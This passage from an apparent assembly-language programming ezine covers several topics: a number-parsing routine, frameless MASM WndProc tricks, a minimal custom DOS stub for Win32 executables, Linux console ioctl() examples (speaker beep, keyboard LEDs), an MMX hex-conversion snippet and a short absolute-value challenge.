;that won't get trapped in the next stage
;
AND AL,0DFh
SUB AL,037h
CMP AL,0Ah
JC SHORT ko2
;
;digit value checked that it is valid for the current radix
;this also weeds out previous invalid values (since they would be >35)
;jump out of loop is delayed so that EAX can be restored for exit
;
ko: CMP AL,BL
CMC
ko2: XCHG EAX,ECX
JC SHORT erriv
;
;accumalate the digit to the total. the total must be pre-multiplied.
;checks for overflow are done at both points so the routine can never
;generate false results
;
MUL EBX
JC errovr
ADD EAX,ECX
JNC lop
;
;overflow error
; adjust SI index to current char and exit, note
; that CF =1 already
;
errovr: DEC SI
JMP SHORT don
;
;invalid character
; main exit point, SI is adjusted to the current char
; the CMP ensures that CF =0, and also that ZF =1 iff
; no chars have been read
;
erriv: DEC SI
CMP SI,DI
;
;(restore registers and exit)
;
don: POP DI
POP ECX
POP EBX
POP EDX
RET
scanu ENDP
=========END OF CODE=======================================================
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING
WndProc, The Dirty Way
by X-Calibre of Diamond
I assume you all know what a WndProc is, and what you need it for. Let me
give you a quick example of a WndProc:
WndProc PROC hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg == WM_DESTROY
INVOKE PostQuitMessage, NULL
.ELSE
INVOKE DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.ENDIF
xor eax, eax
ret
WndProc ENDP
This generates the following code:
push ebp ; Create stack frame
mov ebp, esp ; Why does MASM use 'leave',
; but not 'enter'?
cmp dword ptr [ebp+0C], WM_DESTROY ; ebp+0C is uMsg
jne @@notDestroy
push NULL
Call PostQuitMessage
jmp @@exitFromDestroy
@@notDestroy:
push [ebp+14] ; ebp+14 is lParam
push [ebp+10] ; epb+10 is wParam
push [ebp+0C] ; ebp+0C is uMsg
push [ebp+08] ; ebp+08 is hWnd
Call DefWindowProcA ; Let Windows handle the other
; messages
leave ; Remove stack frame
ret 0010 ; Remove function arguments
; from stack and return
@@exitFromDestroy:
xor eax, eax ; Return 'FALSE'
leave ; Remove stack frame
ret 0010 ; Remove function arguments
; from stack and return
Looks nice, and works fine... But, it builds a stack frame, even though we are
not using local variables. And if you code in a good fashion, there almost
never will be ...after all, this procedure is just a messagehandler, and to keep
your code tidy, you will not put all the code in here, but in separate procedures,
which you will call from here.
There's only one reason why MASM builds a stack frame for a function: The
function has a prototype for a hll call. A hll call uses the stack to transfer
its arguments.
So, all we have to do, is remove the prototype. That's easy: Just don't tell
MASM that this function uses any arguments.
This simple tweak will do the trick:
WndProc PROC
...
WndProc ENDP
The arguments will still be passed to the function, since that part of the
code is in the Windows kernel, and has not changed. Be careful though: Since
MASM does not know that there are arguments on the stack, it no longer cleans
up the stack. You have to specify that yourself.
Now we have a slight problem: How can we access the arguments now?
The answer is surprisingly easy: We create aliases for the addresses relative
to the stack pointer (esp). MASM does the same, except that it uses the base
pointer since it created a stack frame, and saved the original stack pointer
in ebp.
Knowing that Windows hll calls always push the arguments in reverse order, and
that the return address is stored on the stack aswell, we can devise these
indices for our parameters:
hWnd EQU dword ptr [esp][4]
uMsg EQU dword ptr [esp][8]
wParam EQU dword ptr [esp][12]
lParam EQU dword ptr [esp][16]
There, now we can refer to the arguments as usual.
There's 1 drawback however: Since the indices are relative to esp, they are
only valid when esp is not touched. In other words: Don't try to push or pop
anything and then use these arguments again. They can be used if you push some
variables, then pop them again before you access any of these arguments again,
because the stack pointer will be at the correct position again.
Let's say you need to use the stack again (eg. for an INVOKE), so the indices
will be invalidated. You might think that the only option then is to save the
stack pointer again, so we're back to the stack frame...
It's an option, but not the best one. Namely, ebp is a non-volatile register,
and needs to be saved and restored after use.
But, there are more registers in the CPU, and most of them are volatile. How
about using esi for example?
WndProc PROC
mov esi, esp
hWnd EQU dword ptr [esi][4]
uMsg EQU dword ptr [esi][8]
wParam EQU dword ptr [esi][12]
lParam EQU dword ptr [esi][16]
...
WndProc ENDP
And if you leave the stack as you found it (which should always be the case
with decent code), you don't even need to restore esp again.
If you got dirty and the stack still contains variables you don't want
anymore, then this is enough for a clean exit:
WndProc PROC
...
mov esp, esi
ret 4 * sizeof dword ; As I mentioned earlier, we have to clean
; the stack ourselves.
; We had 4 dword arguments, so this does
; the trick
WndProc ENDP
Still less code, and thus faster than the original. And just as rigid. You
have one register less to use during the WndProc, but as I said earlier, there
shouldn't be too much code here, so should be able to spare the register.
Well, there's just 1 more thing that can be done with this tweaked WndProc.
Namely, if you leave the stack as you found it, the arguments for the
DefWindowProc are already in place, and the return address of our caller is
there too.
So basically we can just jump to it without any further ado. The resulting
WndProc that is equivalent to the original one will look like this then:
WndProc PROC
hWnd EQU dword ptr [esp][4]
uMsg EQU dword ptr [esp][8]
wParam EQU dword ptr [esp][12]
lParam EQU dword ptr [esp][16]
.IF uMsg == WM_DESTROY
INVOKE PostQuitMessage, NULL
.ELSE
jmp DefWindowProc
.ENDIF
xor eax, eax
ret 4 * sizeof dword ; Be sure to clean that stack!
WndProc ENDP
Yes, much shorter, and faster. Let's take a look at the generated code to get
a better understanding of how much shorter it actually is:
cmp dword ptr [esp+08], WM_DESTROY
jne @@noDestroy
push NULL
Call PostQuitMessage
jmp @@exitFromDestroy
@@noDestroy:
Jmp DefWindowProcA
@@exitFromDestroy
xor eax, eax
ret 0010
If you code it 'by hand' instead of with the .IF statement, there's another
tweak we can pull, but the rest looks great, doesn't it?
Of course these stunts can be applied to other procedures as well. Be careful,
and use them in good health.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING
Programming the DOS Stub
by X-Calibre of Diamond
As you may (or may not) know, there is a piece of DOS code still in every
Win32 executable file. This piece of code is referred to as the 'stub' and
ensures that the Win32 program won't cause a crash when run on a DOS system.
It just prints the familiar 'This program can not be run in DOS' message and
exits.
'So what do we care?' you might ask... Well, Microsoft's linker provides the
option to link your own stub instead of the standard one. And, you must have
guessed it already by now: We can do it better than Microsoft!
So, how do we do this then?
Well, actually it's very simple: The first part of the Win32 executable is
literally a DOS file. There's just one small requirement: at offset 3Ch (60)
there is a DWORD specifying the start of the PE block relative to the start of
the file (the offset).
So basically you can just put any DOS EXE program in there, as long as you
make sure that there is room for the DWORD at offset 3Ch in the file. Usually
this is no problem, since the EXE header itself is usually quite big, and a
lot of the space is not being used. Microsoft's own stub has an empty header
mostly, and the code starts right after the DWORD, at offset 40h.
That's all fine and nice and whatever, but what can we do with this info?
Well, you could link in an entire DOS program for people not using Windows
(Look at REGEDIT.EXE in Windows 9x for an example). You could include a Fire
or Plasma effect when your program is run in DOS. You could create your own
'This program can not be run in DOS mode' message. But, most importantly:
you can create smaller EXE files! One of the nicer applications of this stub,
which I'm going to explain a bit here.
What is the smallest size for the stub, theoretically speaking?
Well, considering the fact that at offset 60 there MUST be an offset pointing
to the PE header, the minimum size will be 60 bytes.
The actual stub file has to be 64 bytes, because of restrictions of Microsoft's
linker. But be sure not to use the last 4 bytes, since the linker will put in
the offset there.
Well, so in 60 bytes, you can't really do much. But just printing a small
warning for DOS users and then exiting is just about possible. Microsoft made
their version a little large: 120 bytes. So we can try to do just about the
same in 60 bytes.
We're going to use a little trick here, to get the program as small as 60
bytes. At offset 20h, there is room for a relocation table for the code. But
since we won't be needing them, we're going to put our code in there. This
is perfectly possible, because you can specify how many relocation table items
your program will be using. We just put in a 0 word at offset 6 in the header,
and the table is ours. Technically speaking, the code is still after the table.
The table just has a length of 0 bytes.
For all you non-DOS coders out there, this is what the program looks like:
;====================================================================stub.asm
.Model Tiny
.code
start:
push cs ; Point the data segment to the code segment, since
pop ds ; we're putting the data after the code to save space.
mov dx, offset message ; Load pointer to the string for the call.
mov ah, 9 ; 9 is the print argument for int 21h.
int 21h ; The DOS interrupt.
mov ah, 4Ch ; 4C is the exit argument for int 21h
int 21h
; Put our string here
message db "Windows prg!",0Dh,0Ah,'$'
; A little explanation may be required:
;
; 0Dh is the 'Carriage return' ASCII code.
; 0Ah is the 'Line feed' ASCII code.
; '$' is the string-terminator in DOS (like 0 is in Windows and other C based
; OSes)
end start
;=========================================================================EOF
The message can be 15 bytes at most, including the string terminator, since
the program itself starts at offset 32 in the file, and is 12 bytes long.
(32+12+15 = offset 59 bytes, so the next byte will be used for the PE offset
DWORD).
This version yields an undefined error code on exit. The error code is
specified in al when you call the exit DOS function. The errorcode actually
depends on the output in al of the int 21h call that prints the string. This
is ofcourse undefined (actually it is 24h in Windows 98).
Microsoft's stub has a defined errorcode of 1. If you want to make your stub
100% the same, then you must replace the 'mov ah, 4Ch' with 'mov ax, 4C01h'.
Mind you, that this code is 1 byte longer, so your message can then be only 14
bytes long in total.
Since I'm never going to use the errorcode, I decided to save the byte and use
a larger string.
And that's that. Now you may run into trouble with the linker. I couldn't find
a linker that kept the EXE header to its minimum (which is 32 bytes). I used
TLINK, which made a 512 byte header. So I just edited the file manually, and
got it to its minimum size. A document explaining the EXE header format is
enclosed, and so is the STUB.EXE I made, and a small Win32 application using
it (with relocated PE header at 40h).
I will just briefly describe how the filesize is stored in the header, since
the document is not particularly clear there.
offset length description comments
----------------------------------------------------------------------
2 word length of last used sector in file modulo 512
4 word size of file, incl. header in 512-pages
The '512-pages' at offset 4 are (floppy) disk sectors. They are 512 bytes
each. So to calculate how many sectors your file will occupy, this formula
will suffice:
sectors = CEILING(filesize/512)
CEILING means to round off to nearest natural number above the fraction.
The length of the last used sector at offset 2 stores how many bytes are
occupied in the last sector of the file. Like the comment says, it's filesize
modulo 512.
In other words:
lastusedsector = filesize - FLOOR(filesize/512)
The other way around is ofcourse like this:
filesize = (sectors - 1)*512 + lastusedsector
A little note here: Look at these 2 values in a program with the standard
Microsoft stub (eg. NOTEPAD.EXE).
We find these 2 values:
offset 2: 0090h
offset 4: 0003h
So the filesize is: (3 - 1)*512 + 144 = 1168
Now wait just a second! At offset 3Ch we find 00000080h...
So at offset 128 we find the PE header and the Windows program. Then how can
the DOS stub be 1168 bytes?
It can't!! Microsoft goofed up here... They have probably hand-edited the
EXE file they used for the stub like I did, and forgot to edit these values.
Luckily for them, this bug does no harm. But still...
Well, after we have created our DOS stub, all we have to do is link it in.
With Microsoft's linker it goes like this:
LINK code.obj /SUBSYSTEM:WINDOWS /STUB:STUB.EXE
And that's all you need!
You can ignore the warning the linker gives about the incomplete header. We
know that the program runs. The linker just doesn't consider EXE headers with
no relocation table (which could actually be considered a bug, since our EXE
header specifies that the table has length 0, and therefore the code can start
at offset 20h. The DOS EXE loader does interpret it correctly, so in fact, the
linker could be considered incompatible).
The only problem with Microsoft's linker is that it doesn't seem to want to
link the PE block right after the DOS stub. Maybe other linkers do, but I
haven't found one that does yet. Microsoft's linker just dumps some garbage,
and then puts its PE block at offset 78h. Maybe that is because their stub is
78h bytes long and they don't consider shorter stubs?
The offset at which the PE block is linked depends on the initial SP value
specified at offset 10h, actually (why is that?). It can also link at offset
80h or 88h.
You could move the PE block to offset 40h, and pad with 0's after the PE block,
using a hex-editor. This way it will compress even better, maybe. And you
could perhaps edit the PE block and move the code forward a bit too (there's a
great util in this. Shall we make it?).
Well, anyway... Have fun, and get crazy with your custom DOS stubs!
And remember:
DOS Knowledge is power!
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::............................................THE.UNIX.WORLD
Using ioctl()
by mammon_
One of the most famous Unix maxims reads 'everything is a file'; directories
are files, pipes are files, hardware devices are files, even files are files.
This provided a transparent means or reading and writing hardware or software
constructs such as modems and sockets; yet the lack of interrupts or device
driver routines is sometimes confusing for those not used to Unix programming.
In linux, handling device parameters through the character and block 'special
file' interface is handled through ioctl().
The ioctl() system call takes a file descriptor and a request type as its
primary arguments, along with an optional third argument referred to as "argp"
which contains any arguments that must be passed along with the request. The
possible ioctl() requests can be found by poking around in the $INCLUDE/asm and
$INCLUDE/linux header files, although a somewhat dated list of requests can be
viewed by typing 'man ioctl_list'.
One of the most useful devices to program with ioctl() for the applications
programmer will be the console; in linux terms, this consists of the keyboard
and display, such that all 63 of the Virtual Consoles can be controlled with
ioctl(). This can be useful if one wants to output debugging information to a
non-visible console, or to transfer STDIN and STDOUT to a newly-allocated
console while disabling virtual console switching, effectively tying the user
to a single console [e.g., in a walkup workstation].
Information on console ioctl requests can be found with 'man console_ioctl'.
Bringing up this man page instantly displays the following text:
WARNING: If you use the following information you are
going to burn yourself.
WARNING: ioctl's are undocumented Linux internals, liable
to be changed without warning. Use POSIX functions.
This is ancient asm coderspeak meaning 'you are on the right track, keep going.'
Perusing the listed requests will provide enough information to code that first
exercise from DOS-ASM 1o1: generating a tone on the PC speaker.
KDMKTONE
Generate tone of specified length. The lower 16
bits of argp specify the period in clock cycles,
and the upper 16 bits give the duration in msec.
If the duration is zero, the sound is turned off.
Control returns immediately. For example, argp =
(125<<16) + 0x637 would specify the beep normally
associated with a ctrl-G. (Thus since 0.99pl1;
broken in 2.1.49-50.)
This should not be too terribly hard to implement -- a call to open the file
descriptor, and a single call to ioctl() to sound the tone. First things first,
open() is called on /dev/tty to create a handle for the current console:
#-------------------------------------------------------------------beep.asm
%define O_RDWR 2 ;grep O_RDWR /usr/include/asm/*
%define KDMKTONE 0x4B30 ;grep KDMKTONE /usr/include/linux/*
EXTERN open
GLOBAL main
section .data
szTTY db '/dev/tty',0
section .text
main:
push dword O_RDWR
push dword szTTY
call open
add esp, 8
#--------------------------------------------------------------------BREAK
Next, calculate the frequency and duration of the tone to be played:
#---------------------------------------------------------------------CONT
mov dx, 666 ;duration
shl edx, 16
or dx, 1199 ;tone
#--------------------------------------------------------------------BREAK
Now, normally one might call ioctl as so:
push edx
push dword KDMKTONE
push eax
call ioctl
add esp, 12
However, ioctl is a systemcall, and we can save a bit of time by going
straight through the syscall gate at 0x80:
#---------------------------------------------------------------------CONT
mov ebx, eax
mov ecx, KDMKTONE
mov eax, 54 ;ioctl func defined in /usr/include/asm/unistd.h
int 0x80
ret
#----------------------------------------------------------------------EOF
So much for the simple beep. Another ASM 101 favorite is the 'blinking LED'
trick, where students learn to make the keyboard LEDs blink on and off in any
number of psychedelic patterns. A quick tour through the man page shows the
requests needed for this sample as well:
KDGETLED
Get state of LEDs. argp points to a long int. The
lower three bits of *argp are set to the state of
the LEDs, as follows:
LED_CAP 0x04 caps lock led
LED_NUM 0x02 num lock led
LED_SCR 0x01 scroll lock led
KDSETLED
Set the LEDs. The LEDs are set to correspond to
the lower three bits of argp. However, if a higher
order bit is set, the LEDs revert to normal: dis-
playing the state of the keyboard functions of caps
lock, num lock, and scroll lock.
The file descriptor must be opened as with the previous example. From there,
we must get the current LED state:
#--------------------------------------------------------------------led.asm
%define KDGETLED 0x4B31 ;grep KDGETLED /usr/include/linux/*
%define KDSETLED 0x4B32 ;grep KDSETLED /usr/include/linux/*
xor edx, edx
mov ecx, KDGETLED
mov ebx, eax
mov eax, 54
int 0x80
#--------------------------------------------------------------------BREAK
Next, all of the LEDs will be turned on and then off 10 times. It is vital
to the success of the algorithm that a delay be present between the off and
on transitions; otherwise the LEDs will appear to be steadily lit, and that
is much less of a programming achievement:
#---------------------------------------------------------------------CONT
mov ecx, 10
.here:
push ecx ;save counter
or edx, 0x07 ;set all of 'em
mov ecx, KDSETLED
mov eax, 54
int 0x80
mov ecx, 0xFFFFFF ;delay counter
.delay:
loop .delay
and edx, 0 ;turn all of them off
mov ecx, KDSETLED
mov eax, 54
int 0x80
mov ecx, 0xFFFFFF ;next delay counter
.delay2:
loop .delay2
pop ecx
loop .here
ret
#----------------------------------------------------------------------EOF
Blinking the LEDs in succession and achieving hypnotic frequency via ioctl()
will be left as an exercise to the reader.
This should provide a quick introduction to using ioctl(). There are many more
possibilities available for scan codes, screen painting, and virtual console
control; further opportunities for console amusement exist also within the realm
of escape-sequence programming. The examples presented here can be compiled with
the standard
nasm -f elf file.asm
gcc -o file file.o
combination, or by using a Makefile:
#----------------------------------------------------------------------Makefile
TARGET =beep #TARGET is the variable storing the base filename
ASM = nasm #ASM contains the name of the assembler
ASMFILE = $(TARGET).asm #ASMFILE contains the full name of the source file
OBJFILE = $(TARGET).o #OBJFILE contains the full name of the object file
LINKER = gcc #LINKER contains the full name of the linker
LIBS = #LIBS contains any library flags
LIBDIR = #LIBDIR contains any library location flags
all: #the 'all:' section applies to all targets
$(ASM) -o $(OBJFILE) -f elf $(ASMFILE)
$(LINKER) -o $(TARGET) $(OBJFILE) $(LIBDIR) $(LIBS)
#---------------------------------------------------------------------------EOF
As with all Makefiles, with the target correctly set the source will be compiled
and linked simply by typing 'make' in the directory where the Makefile is
located.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::................................ASSEMBLY.LANGUAGE.SNIPPETS
BinToString
by Cecchinel Stephan
;Summary: Converts a 32 bit number to an 8-byte string.
;Compatibility: MMX+
;Notes: 14 cycles. Input is stored in EAX; the output is a hex-
; format character string pointed to by [EDI].
Sum1: dd 0x30303030, 0x30303030
Mask1: dd 0x0f0f0f0f, 0x0f0f0f0f
Comp1: dd 0x09090909, 0x09090909
Hex32:
bswap eax
movq mm3,[Sum1]
movq mm4,[Comp1]
movq mm2,[Mask1]
movq mm5,mm3
psubb mm5,mm4
movd mm0,eax
movq mm1,mm0
psrlq mm0,4
pand mm0,mm2
pand mm1,mm2
punpcklbw mm0,mm1
movq mm1,mm0
pcmpgtb mm0,mm4
pand mm0,mm5
paddb mm1,mm3
paddb mm1,mm0
movq [edi],mm1
ret
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................ISSUE.CHALLENGE
Absolute Value
by Laura Fairhead
The Challenge
-------------
Find the absolute value of a register in only 4 bytes.
The Solution
------------
NEG AX
JL SHORT $-4
This was not completely my original idea (is there such thing??); I
found a similar sequence which used the more obvious branch 'JS'. The
JS had the problem that it goes into an infinite loop if AX=08000h.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::.......................................................FIN
Top
Next Issue